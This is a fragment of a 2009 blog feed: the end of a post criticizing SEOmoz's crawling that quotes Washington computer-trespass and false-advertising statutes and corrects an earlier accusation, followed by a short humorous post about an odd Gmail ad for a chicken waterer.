<p>Additionally, they are still gathering this data without full disclosure on how to keep their alleged bots off of our servers, and therefore doing so without our permission. According to the Revised Code of Washington <a href="http://apps.leg.wa.gov/RCW/default.aspx?cite=9A.52.110" target="_blank">9A.52.110</a> (SEOmoz is headquartered in WA), <strong>Computer trespass in the first degree</strong>:</p>
<blockquote><p>(1) A person is guilty of computer trespass in the first degree if the person, without authorization, intentionally gains access to a computer system or electronic database of another; and</p>
<p>&nbsp;&nbsp;(a) The access is made with the intent to commit another crime; or</p>
<p>&nbsp;&nbsp;(b) The violation involves a computer or database maintained by a government agency.</p>
<p>(2) Computer trespass in the first degree is a class C felony.</p></blockquote>
<p>So, it&#8217;s only a crime to deliberately scrape people&#8217;s content if your are doing so in conjunction with committing a crime. According to RCW <a href="http://apps.leg.wa.gov/rcw/default.aspx?cite=9.04.050" target="_blank">9.04.050</a> <strong>False, misleading, deceptive advertising</strong>:</p>
<blockquote><p>It shall be unlawful for any person to publish, disseminate or display, or cause directly or indirectly, to be published, disseminated or displayed in any manner or by any means, including solicitation or dissemination by mail, telephone, electronic communication, or door-to-door contacts, any false, deceptive or misleading advertising, with knowledge of the facts which render the advertising false, deceptive or misleading, for any business, trade or commercial purpose or for the purpose of inducing, or which is likely to induce, directly or indirectly, the public to purchase, consume, lease, dispose of, utilize or sell any property or service, or to enter into any obligation or transaction relating thereto: PROVIDED, That nothing in this section shall apply to any radio or television broadcasting station which broadcasts, or to any publisher, printer or distributor of any newspaper, magazine, billboard or other advertising medium who publishes, prints or distributes, such advertising in good faith without knowledge of its false, deceptive or misleading character.</p></blockquote>
<p>While many of us may take it in stride that we will get lied to when people try and sell us things, trust me, it still does not make it acceptable, and there is law that backs that up.</p>
<p><strong><a name="update1" class="nolink">Update:</a></strong> Apparently there was a glitch in Sphinn when they migrated to new software. The comment that I accused Scott Willoughby of making 9 months after the conversation had been closed (which would have required the involvement of a Sphinn employee) was in fact a Desphinn that he made at the time the post was first submitted. This glitched caused that and 1,530 <em>other</em> Desphinns to all incorrectly get imported as comments&#8230; and all with the exact same timestamp, ie. 7/14/2009. Whoops. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Thank you to <a href="http://sphinn.com/user/Michelle/" target="_blank">Michelle Robbins</a>, Third Door Media&#8217;s Director of Technology, for discovering how that actually happened. It does prove that not all conspiracy theories are true. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  I do, however, stand by the rest of the post.</p>
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		<title>Poopfree what? WTF?</title>
		<link>http://smackdown.blogsblogsblogs.com/2009/06/05/poopfree-what-wtf/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2009/06/05/poopfree-what-wtf/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 17:47:45 +0000</pubDate>
		<dc:creator>DazzlinDonna</dc:creator>
				<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=346</guid>
		<description><![CDATA[Yesterday, I wrote an email which included words like &#8220;cluck&#8221; and &#8220;chicken&#8221; in it. I then sent it off to some friends. When I got a reply back, and I opened it up in Gmail, I noticed the ad that Google served based on the content of my email. Here&#8217;s a screenshot of it. Really, [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, I wrote an email which included words like &#8220;cluck&#8221; and &#8220;chicken&#8221; in it.  I then sent it off to some friends.  When I got a reply back, and I opened it up in Gmail, I noticed the ad that Google served based on the content of my email.  Here&#8217;s a screenshot of it.  Really, it rendered me speechless, and well, I just think a picture is worth a thousand words.</p>
<p><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2009/06/cluck1.png" alt="cluck1" title="cluck1" width="186" height="97" class="aligncenter size-full wp-image-350" /></p>
<p>WTF? A poop-free chicken waterer?  What???  Wait, I don&#8217;t even want to know.</p>
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